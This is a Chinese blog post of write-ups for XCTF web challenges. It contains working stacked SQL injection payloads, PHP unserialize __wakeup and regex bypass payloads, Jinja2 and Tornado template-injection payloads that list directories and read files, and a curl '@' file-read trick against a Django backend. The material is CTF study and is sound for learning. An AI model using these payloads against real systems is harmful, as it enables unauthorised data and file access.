攻防世界web进阶做题记录(1)

supersqli

首先进入环境,发现是SQL注入。我们先简单的进行一些测试,发现是字符型注入,因此加一个单引号然后后面加#来闭合,然后测试1=1,1=2,发现都可以,然后进行order by测试,发现是2。
但是用1’ union select 1,database()#
在这里插入图片描述
这里考虑进行大小写,内联,用注释,等等,都不行。因此这里考虑使用堆叠注入,发现成功了。
先获得数据库名称:

1';show databases; #

在这里插入图片描述

1';show talbes;#

在这里插入图片描述

1' ;show columns from `1919810931114514`#

在这里插入图片描述

这时候我们的思路很明确的,就是获得1919810931114514表中的flag列。

法一:
使用handler

0';handler `1919810931114514` open;handler `1919810931114514` read first;#

在这里插入图片描述
法二:
使用预处理语句

0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#

法三:
使用rename和alter
因此我们可以把words表改名成words1表,把1919810931114514表改名成words,然后再把1919810931114514里面的flag字段改名成id,然后输入1’ or 1=1#就可以成功得到flag了。

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

web2

首先介绍一下解题过程中要用到的几个新函数
strrev():将所给字符串反转。
str_rot13(): ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
ord(): 返回字符串的首个字符的 ASCII 值。
chr():从不同的 ASCII 值返回字符。
在这里插入图片描述
通过注释我们知道上面的代码描述的是加密密文的方法,现在要求我们解出密文就可以得到flag
代码审计(对flag加密步骤):
1.将flag反转(记作FLAG)
2.使FLAG中每一个字符的ASCII值加一(凯撒密码)
3.再对其进行base64编码
4.再次逆转字符串
5.再次使用ROT13编码
知道了题目的加密步骤之后我们只需要反着解密就好了,写出解密代码

<?php
function decode($str)
{
    
    
	$_o=base64_decode(strrev(str_rot13($str)));
	for($i=0;$i<strlen($_o);$i++)
	{
    
    
       
        $_c=substr($_o,$i,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;   
    }  
	return strrev($_);
	
}
$string='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
echo decode($string);

?>

当然也可以用python

"""
for($_0=0;$_0<strlen($_o);$_0++){ 
        
        $_c=substr($_o,$_0,1);   # 每次取一个字符,就是对应的遍历的字符i
        $__=ord($_c)+1;   # 转化为对应的10进制数
        $_c=chr($__);   # 10进制转换为ASCII码
        $_=$_.$_c;    # 累加$_c
    } 
"""

def reverse(strings):
    now = ''
    for i in range(len(strings)):
        temp = strings[i]
        temp_ord = ord(temp) - 1
        temp_chr = chr(temp_ord)
        now += temp_chr
    ans = now[::-1]
    return ans


if __name__ == '__main__':
    string = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg"
    print(reverse(string))

unserialize3

在这里插入图片描述
通过分析在浏览器地址框输入:地址 + /?code=0,发现0出现在code后面。
所以我们输入的字段会直接传到code中。
根据题给的信息unserialize,序列化操作我们联想到序列化函数:serialize($a);
通过如下编程构造:

<?php class xctf{
    
     public $flag = '111'; public function __wakeup(){
    
     exit('bad requests'); } } $a = new xctf(); $s = serialize($a); echo $s; ?>

结果输出为:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
在这里插入图片描述

__wakeup():unserialize() 时会自动调用我们在反序列化的时候 可能有时候__wakeup 中会进行一些过滤等等的操作 所以我们需要尝试绕过
绕过的条件:
当序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数
?code

Web_python_template_injection

在这里插入图片描述
简单探测
http://111.200.241.244:57910/{ {7+7}}
在这里插入图片描述
证明执行了这个命令,确定存在模板注入

{
    
    {
    
    ''.__class__.__mro__[2].__subclasses__()}}

在这里插入图片描述
构造payload

{
    
    {
    
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

在这里插入图片描述

{
    
    {
    
    ''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

在这里插入图片描述

魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

Web_php_unserialize

在这里插入图片描述
1,unserialize时,_wakeup()的绕过 -->只需要令序列化字符串中标识变量数量的值大于实 际变量
2,绕过preg_match正则,因为正则会过滤掉序列化开头的字母O -->使用+可以绕过preg_match() 正则匹配,O:4改成O:+4

<?php
class Demo {
    
    
    private $file = 'index.php';
    public function __construct($file) {
    
    
        $this->file = $file;
    }
    function __destruct() {
    
    
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
    
    
        if ($this->file != 'index.php') {
    
    
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$A = new Demo ('fl4g.php');
$C = serialize($A);                     //改变属性绕过wake up 函数
$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C); 
var_dump($C);
var_dump(base64_encode($C));         //base64加密

?>

在这里插入图片描述

3.因为题目还要求base64解码再赋值给var传参
所以运行一下后构造payload

payload: /index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

easytornado

在这里插入图片描述
发现3个文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
1,flag in /fllllllllllllag
2,render,可能会是SSTI模板注入
3,md5(cookie_secret+md5(filename))
url中输入/fllllllllllllag,直接error
在这里插入图片描述
用handler.settings对象拿到cookie
url输入/error?msg={ {handler.settings}}
在这里插入图片描述
根据hint,filehash值由md5加密
先filename即/fllllllllllllag加密,用filename的md5加密值再和cookie拼接,一块md5加密
在这里插入图片描述
在这里插入图片描述
url加上/file?filename=/fllllllllllllag&filehash=aa1c4ca242373b4bc3417c3dd4dbdb09
得到flag
在这里插入图片描述
知识点:tornado框架,用handler.settings对象拿到cookie,md5加密

shrine

这题涉及到我的知识盲区,主要是以下几点:
SSTI
Flask 框架
Bypass Sandbox
在这里插入图片描述
第一步对题目给出代码进行分析
在这里插入图片描述
默认访问路径为‘/’,那么会将源代码读取出来,也就是默认页面所呈现的。
在这里插入图片描述
这边访问‘/shrine/’路径下,传入一个值
我们输入的值首先被传到了safe_jinja函数,然后由flask.render_template_string进行渲染
很容易理解的是,我们传入的s会首先被去除‘(’,‘)’,然后在最后加上处理后的s,前面是
{% set config=None%}{% set self=None%}
可以知道是结合flask.render_template_string渲染肯定会有漏洞。

总结一下就是:flask 在 /shrine/ 下的 SSTI,对 payload 进行了过滤,对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单
payload:
/shrine/

cat

在这里插入图片描述

知识点:
php cURL CURLOPT_SAFE_UPLOAD
django DEBUG mode

Fuzz URL,得到如下结果:
1、正常 URL,返回 ping 结果
2、非法 URL(特殊符号),返回 Invalid URL
3%80,返回 Django 报错

url编码使用的是16进制,80也就是128,ASCII码是从0-127,所以这个时候会报错
查看报错 发现 使用 的是Django
通过第三种情况,判断出后端架构,猜测 PHP 层的处理逻辑。
当 CURLOPT_SAFE_UPLOAD 为 true 时,PHP 可以通过在参数中注入 @ 来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容.
通过 Django 报错调用栈中的信息,请求

 @/opt/api/api/settings.py

在这里插入图片描述
得到数据库名称,在通过

 @/opt/api/database.sqlite3

在这里插入图片描述
WHCTF{yoooo_Such_A_G00D_@}

lottery

在这里插入图片描述
在这里插入图片描述
下载附件
发现api.php里面的内容值得好好研究
在这里插入图片描述
那么就可以构造一串数组[true,true,true,true,true,true,true]传入了,
bp抓包,然后构造数组,即可得到5000000,再来一次就是10000000,可以购买flag了

猜你喜欢

转载自blog.csdn.net/qq_51558360/article/details/113758756